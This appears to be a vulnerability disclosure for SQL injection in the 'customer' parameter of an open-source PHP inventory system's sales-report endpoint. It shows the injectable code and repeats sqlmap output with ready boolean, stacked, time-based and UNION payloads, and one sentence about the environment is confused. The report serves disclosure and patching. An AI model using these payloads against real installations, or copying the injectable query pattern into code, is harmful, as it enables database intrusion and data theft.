SQL injection vulnerability exists in customer parameter of app/ajax/search_sales_report.php file of inventory management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
1  <?php
2  require_once '../init.php';
3      if (isset($_POST) && !empty($_POST)) {
4          $issueData = $_POST['issuedate'];
5          $customer = $_POST['customer'];
6
7
8          $data = explode('-', $issueData);
9      $issu_first_date = $obj->convertDateMysql($data[0]);
10     $issu_end_date = $obj->convertDateMysql($data[1]);
```

```php
112     <?php
113         $stmt = $pdo->prepare("SELECT SUM(`purchase_due_bill`) FROM `purchase_products` WHERE `order_date` BETWEEN '
            $issu_first_date' AND '$issu_end_date' AND `customer_id` = $customer");
114         $stmt->execute();
115         $res = $stmt->fetch(PDO::FETCH_NUM);
116         echo $res[0];
117     ?>
118     </th>
119     <th>
120     <?php
121         $stmt = $pdo->prepare("SELECT SUM(`purchase_due_bill`) FROM `purchase_products` WHERE `order_date` BETWEEN '
            $issu_first_date' AND '$issu_end_date' AND `customer_id` = $customer");
122         $stmt->execute();
123         $res = $stmt->fetch(PDO::FETCH_NUM);
124         echo $res[0];
```

```
sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:

Parameter: customer (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 AND 8860=8860 -- &issuedate=issuedate

    Type: stacked queries
    Title: MySQL ≥ 5.0.12 stacked queries (comment)
    Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276;SELECT SLEEP(5)# -- &issuedate=issuedate

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 AND (SELECT 5443 FROM (SELECT(SLEEP(5)))CtWy) -- &issuedate=issuedate

    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 UNION ALL SELECT NULL,NULL,CONCAT(0×7178706271,0×4c5943654c476178636366556a684
563794f437944724c6e527442694f655451506567416f445376,0×7178717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - -- &issu
edate=issuedate
```

"

Parameter: customer (POST)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 AND 8860=8860 -- &issuedate=issuedate

    Type: stacked queries

    Title: MySQL >= 5.0.12 stacked queries (comment)

    Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276;SELECT SLEEP(5)# -- &issuedate=issuedate

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 AND (SELECT 5443 FROM (SELECT(SLEEP(5)))CtWy) -- &issuedate=issuedate

Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: &customer=-1 OR 3*2*1=6 AND 000276=000276 UNION ALL SELECT NULL,NULL,CONCAT(0x7178706271,0x4c5943654c476178636366556a684563794f437944724c6e 527442694f655451506567416f445376,0x7178717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL-- - -- &issuedate=issuedate
---
"

Source Download：
https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html